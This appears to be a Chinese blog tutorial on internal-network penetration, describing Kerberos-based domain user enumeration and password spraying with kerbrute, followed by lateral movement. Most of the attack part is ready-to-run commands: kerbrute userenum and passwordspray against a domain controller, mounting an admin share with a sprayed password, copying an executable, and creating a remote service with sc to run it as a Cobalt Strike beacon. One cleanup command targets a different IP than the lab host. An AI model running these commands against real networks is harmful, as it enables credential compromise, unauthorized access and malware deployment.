内网渗透-横向移动-密码喷洒攻击和域内用(kerbrute使用)

域内用户枚举攻击原理

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举

实验目标:

把非域内主机横向到域内主机

实验步骤

1.上传kerbrute.exe工具和密码字典

2.使用kerbrute.exe工具爆破域内用户名

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

shell C:\Users\31979\Desktop\kerbrute.exe userenum --dc 192.168.113.152 -d test.com C:\Users\31979\Desktop\user.txt

找到jack和krbuser

3.密码喷洒攻击找到用户密码

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute.exe passwordspray -d 域名 用户字典 密码

shell C:\Users\31979\Desktop\kerbrute.exe passwordspray -d test.com C:\Users\31979\Desktop\user.txt qax@123

成功找到这两个用户的密码,那我们在这个域中,就可以直接登录他们的机器了

4.得到用户密码后,让该主机在cs上线

先用 net use 挂载 IPC$ 授权,再 copy

shell net use \\192.168.113.154\C$ /user:krbuser qax@123

shell copy 123.exe \\192.168.113.154\C$\

配合系统服务横向移动

sc \\192.168.113.154 create test binpath= "cmd.exe /c c:\123.exe"

sc \\192.168.113.154 start test

成功上线

删除服务

sc \\192.168.17.138 delete test

相关推荐
深信达沙箱11 小时前
轻量化沙箱防护|政企私有化IM防泄密升级,安全不增重
网络·源代码防泄密·源代码加密·磁盘加密·全盘加密·全磁盘加密
ESDWAN11 小时前
SD-WAN 是什么?工作原理、适用场景与选型要点
开发语言·网络·数据库·架构·php
云飞云共享云桌面11 小时前
智能装备工厂研发部门多设计师共享一台SolidWorks服务器做设备装配建模
运维·服务器·网络·人工智能·3d·自动化·制造
Elastic 中国社区官方博客11 小时前
Elastic 在《Forrester Wave™:2026 年第四季度智能运维平台》报告中被评为强劲表现者
大数据·运维·数据库·elasticsearch·搜索引擎·全文检索
简简单单就是我_hehe11 小时前
一次 ClickHouse 服务器磁盘告警的排查与修复实录
java·服务器·前端
自由彩虹11 小时前
靶场通关16--victim1
linux·服务器·网络·安全·web安全·网络安全
wusam11 小时前
基于HCL的python脚本编程(4)
网络·python·智能路由器
叼烟扛炮11 小时前
Linux 学习笔记(三十九):网络基石——TCP/IP 模型与 UDP 实战
linux·运维·网络·笔记·学习·tcp/ip
你看我名字11 小时前
Kafka 架构、消息可靠性与生产运维:从分区模型到故障治理
运维·架构·kafka
研发小能11 小时前
DevOps 工具链怎么选?已有工具的企业,先评估整合能力
运维·devops